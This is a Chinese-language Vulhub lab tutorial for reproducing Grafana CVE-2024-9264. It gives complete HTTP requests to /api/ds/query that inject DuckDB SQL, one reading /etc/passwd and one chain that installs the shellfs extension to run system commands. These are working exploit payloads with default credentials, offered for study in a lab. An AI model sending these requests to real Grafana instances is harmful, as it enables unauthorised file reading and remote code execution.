
Vulhub 如何复现 Grafana CVE-2024-9264 SQL Expressions 的文件读取与命令执行【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub在验证 Grafana 安全性或复现 CVE-2024-9264 时需要完成的目标是在一个带漏洞的 Grafana 环境中通过 SQL Expressions 的 API 接口/api/ds/query先实现服务器任意文件读取再实现远程命令执行并从响应中确认结果。Vulhub 提供了预装 DuckDB 的 Grafana v11.0.0 漏洞环境CVE-2024-9264 影响的版本为 11.0.0 至 11.0.5、11.1.0 至 11.1.6 以及 11.2.0 至 11.2.1整个复现只需要 Docker 与 Docker 自带的 compose 命令以及一个可访问目标端口的客户端。漏洞背景为什么这个 API 能被直接利用CVE-2024-9264 位于 Grafana 实验性的 SQL Expressions 功能中。该功能允许用 SQL 对数据源查询结果做后处理底层通过 DuckDB 引擎执行查询。由于输入校验不充分拥有 Viewer 及以上权限的用户可以注入任意 DuckDB SQL 语句进而实现任意文件读取和远程代码执行。虽然该功能被标记为实验性但 feature flag 实现存在缺陷导致它在 API 层面被默认启用扩大了攻击面。需要特别注意利用前提Grafana 进程的系统 PATH 中必须存在 DuckDB 可执行文件。Vulhub 的vulhub/grafana:11.0.0镜像已预装 DuckDB所以启动后即可满足该条件。漏洞存在于 API 接口/api/ds/query中可以直接发送 HTTP 请求触发无需在仪表盘 UI 上操作。准备条件环境要求来自项目根目录 README 与本漏洞目录的说明已安装 Docker可使用 Docker 自带的 compose 命令无需单独安装 docker-compose已获取 Vulhub 仓库git clone --depth 1 https://github.com/vulhub/vulhub建议在至少 1GB 内存的 VPS 或虚拟机上运行文档中的your-ip指你的主机/VPS IP不是 Docker 容器内部 IP确保 Docker 有权限访问当前目录下所有文件。进入漏洞环境目录cd vulhub/grafana/CVE-2024-9264该目录的 docker-compose.yml 只定义了一个服务services: grafana: image: vulhub/grafana:11.0.0 ports: - 3000:3000启动漏洞环境并确认服务可用在grafana/CVE-2024-9264目录下执行docker compose up -d启动成功后访问http://your-ip:3000即可看到 Grafana 登录页面使用默认账号admin:admin登录。能打开登录页并用默认凭据登录即说明环境就绪后续的 API 请求都以这个admin身份进行认证。第一步利用 read_blob 实现任意文件读取发送如下请求利用 DuckDB 的read_blob函数读取服务器上的/etc/passwd文件POST /api/ds/query?ds_type__expr__expressiontruerequestIdQ100 HTTP/1.1 Host: your-ip:3000 Accept: application/json Content-Type: application/json Authorization: Basic YWRtaW46YWRtaW4 { queries: [ { refId: A, datasource: { type: __expr__, uid: __expr__, name: Expression }, type: sql, expression: SELECT content FROM read_blob(/etc/passwd) } ], from: 1, to: 2 }说明Host中的your-ip替换为你的主机/VPS IP端口为 3000Authorization: Basic YWRtaW46YWRtaW4是文档中给出的admin:admin凭据的 Basic 认证头满足 Viewer 及以上权限的要求expression字段中注入的就是任意 DuckDB SQL这里用read_blob(/etc/passwd)读取目标文件。响应中返回/etc/passwd的文件内容即完成任意文件读取的验证上图为文档示例。第二步利用 shellfs 扩展实现远程代码执行在 Grafana v11.0.0 上可以利用 DuckDB 的shellfs社区扩展实现远程代码执行。该扩展允许通过 DuckDB 的read_csv函数配合 Unix 管道语法执行系统命令。通过在单个请求中使用多个带refId引用关系的 SQL 表达式查询可以在一次请求中完成扩展安装、命令执行和结果读取的整个利用链。发送如下请求执行id命令并获取输出POST /api/ds/query?ds_type__expr__expressiontruerequestIdQ100 HTTP/1.1 Host: your-ip:3000 Accept: application/json Content-Type: application/json Authorization: Basic YWRtaW46YWRtaW4 { queries: [ { refId: A, datasource: {type:__expr__,uid:__expr__,name:Expression}, type: sql, expression: SELECT 1;INSTALL shellfs FROM community }, { refId: B, datasource: {type:__expr__,uid:__expr__,name:Expression}, type: sql, expression: SELECT 1 FROM A ;LOAD shellfs;SELECT * FROM read_csv(id /tmp/rce_out 21 |, headerfalse) }, { refId: C, datasource: {type:__expr__,uid:__expr__,name:Expression}, type: sql, expression: SELECT b.content FROM A AS a, read_blob(/tmp/rce_out) AS b } ], from: 1, to: 2 }三个查询通过refId的引用关系保证执行顺序查询 A 执行INSTALL shellfs FROM community从社区源安装shellfs扩展因此环境需要能访问 DuckDB 社区扩展源查询 B 先SELECT 1 FROM A引用 A 以确保在扩展安装之后执行随后LOAD shellfs加载扩展并通过read_csv(id /tmp/rce_out 21 |, headerfalse)的 Unix 管道语法执行id命令把输出重定向到临时文件/tmp/rce_out查询 C 再用read_blob(/tmp/rce_out)从临时文件中读回命令输出。响应中将返回id命令的执行结果如uid472(grafana) gid0(root) groups0(root)文档示例输出证明已实现任意命令执行。清理环境与限制说明测试完成后在漏洞目录执行命令终止并删除容器与卷docker compose down -v以下是复现前必须了解的边界条件受影响的 Grafana 版本为 11.0.0 至 11.0.5、11.1.0 至 11.1.6、11.2.0 至 11.2.1本环境使用其中的 11.0.0文件读取与命令执行的前提是 Grafana 进程的 PATH 中存在 DuckDB 可执行文件Vulhub 镜像已预装利用请求需要具备 Viewer 及以上权限的认证身份文档中的请求使用的是默认账号admin:admin远程命令执行部分依赖shellfs社区扩展的在线安装文档明确该利用链在 Grafana v11.0.0 上可行所有 Vulhub 环境仅供测试与学习严禁用于生产环境。更多环境细节可参阅本漏洞目录的 README.zh-cn.md 与 docker-compose.yml。【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考